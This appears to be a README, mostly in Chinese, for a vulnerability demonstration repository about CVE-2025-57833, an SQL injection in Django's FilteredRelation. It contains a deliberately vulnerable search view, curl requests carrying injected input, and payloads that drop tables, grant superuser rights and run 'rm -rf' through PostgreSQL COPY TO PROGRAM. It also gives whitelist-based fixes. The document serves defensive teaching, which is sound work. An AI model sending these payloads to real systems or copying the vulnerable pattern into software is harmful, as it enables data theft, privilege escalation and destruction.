
We've set up an environment to test CVE-2025-57833. This environment was built using AI, so it's subject to ongoing modification.
此仓库演示并解释了 CVE-2025-57833,这是一个影响 Django ORM 的严重 SQL 注入漏洞,受影响版本包括 4.2 之前的 4.2.24、5.1 之前的 5.1.12 和 5.2 之前的 5.2.6。
CVSS 评分:9.8(严重)
影响:SQL 注入导致远程代码执行 (RCE)
是否需要认证:否(未认证攻击)
Django ORM(对象关系映射)允许开发者使用 Python 代码而非原始 SQL 与数据库交互。例如:
# 替代原始 SQL:SELECT * FROM books WHERE author_id = 1
books = Book.objects.filter(author_id=1)
FilteredRelation 是 Django 的一个功能,允许您通过额外的过滤条件连接表:
# 连接 books 与 authors,仅限活跃作者
Book.objects.annotate(
active_author=FilteredRelation('author', condition=Q(author__is_active=True))
).select_related('active_author')
有时开发者需要根据用户输入动态创建字段名:
# 用户希望按不同条件搜索
search_field = request.POST.get('field_name') # 用户输入:"title"、"author" 等
# 使用 **kwargs 动态创建字段
queryset.annotate(**{
search_field: FilteredRelation('some_relation')
})
当未经过滤的用户输入被用作 annotate() 或 alias() 中 FilteredRelation 的字典键时,漏洞便会产生。以下是逐步过程:
# 易受攻击的应用通常这样做:
user_input = request.POST.get('search_field') # 攻击者控制此项
# 漏洞就在这里——用户输入成为 SQL 列别名
queryset.annotate(**{
user_input: FilteredRelation("author") # ❌ 危险
})
攻击者发送恶意输入:
user_input = "malicious_field'; DROP TABLE users; --"
Django 生成类似如下的 SQL:
SELECT ...
FROM book
LEFT OUTER JOIN author AS malicious_field'; DROP TABLE users; -- ON ...
恶意 SQL 被执行,可能:
许多 Django 应用具有搜索功能,用户可以选择搜索字段:
# views.py - 常见易受攻击模式
def search_books(request):
search_field = request.POST.get('search_by') # "author"、"title"、"category"
search_value = request.POST.get('search_value')
# 开发者认为这很安全——但实际上并不安全!
books = Book.objects.annotate(**{
f"filtered_{search_field}": FilteredRelation(
search_field,
condition=Q(**{f"{search_field}__name__icontains": search_value})
)
})
return JsonResponse({'books': list(books.values())})
# 攻击者发送此 POST 请求:
curl -X POST http://example.com/search/ \
-d "search_by=author'; DROP TABLE auth_user; --" \
-d "search_value=anything"
# 绝对不要这样做——将用户输入直接作为字典键
user_field = request.POST.get('field')
queryset.annotate(**{
user_field: FilteredRelation('relation') # SQL 注入!
})
# 安全——使用白名单验证
ALLOWED_FIELDS = ['author', 'category', 'publisher']
user_field = request.POST.get('field')
if user_field not in ALLOWED_FIELDS:
raise ValidationError("无效字段")
queryset.annotate(**{
user_field: FilteredRelation('relation') # 现已安全
})
# 安全——使用静态字段名
search_type = request.POST.get('search_type')
if search_type == 'author':
queryset.annotate(filtered_author=FilteredRelation('author'))
elif search_type == 'category':
queryset.annotate(filtered_category=FilteredRelation('category'))
-- 提取敏感数据
'; SELECT username, password FROM auth_user; --
-- 修改数据
'; UPDATE auth_user SET is_superuser = true WHERE id = 1; --
-- 执行系统命令(PostgreSQL,需安装相应扩展)
'; COPY (SELECT '') TO PROGRAM 'rm -rf /tmp/*'; --
ALLOWED_FIELDS = ['author', 'title', 'category', 'publisher']
def safe_annotate(queryset, field_name):
if field_name not in ALLOWED_FIELDS:
raise ValidationError(f"不允许使用字段 '{field_name}'")
return queryset.annotate(**{
field_name: FilteredRelation('relation')
})
# 使用条件逻辑替代动态字段名
def get_filtered_queryset(search_type):
if search_type == 'author':
return queryset.annotate(result=FilteredRelation('author'))
elif search_type == 'category':
return queryset.annotate(result=FilteredRelation('category'))
else:
raise ValidationError("无效的搜索类型")
更新至最新版本的 Django:
此仓库包含一个完整的测试环境:
# 运行存在漏洞的 Django 应用
docker-compose up
# 测试漏洞
curl -X POST http://localhost:8000/api/vulnerable-search/ \
-H "Content-Type: application/json" \
-d '{"search_field": "malicious\"; DROP TABLE IF EXISTS test; --"}'
有关详细的测试说明,请参阅 document/README.md。
此仓库仅供教育和防御性安全目的使用。请勿使用此信息攻击您不拥有或未经许可测试的系统。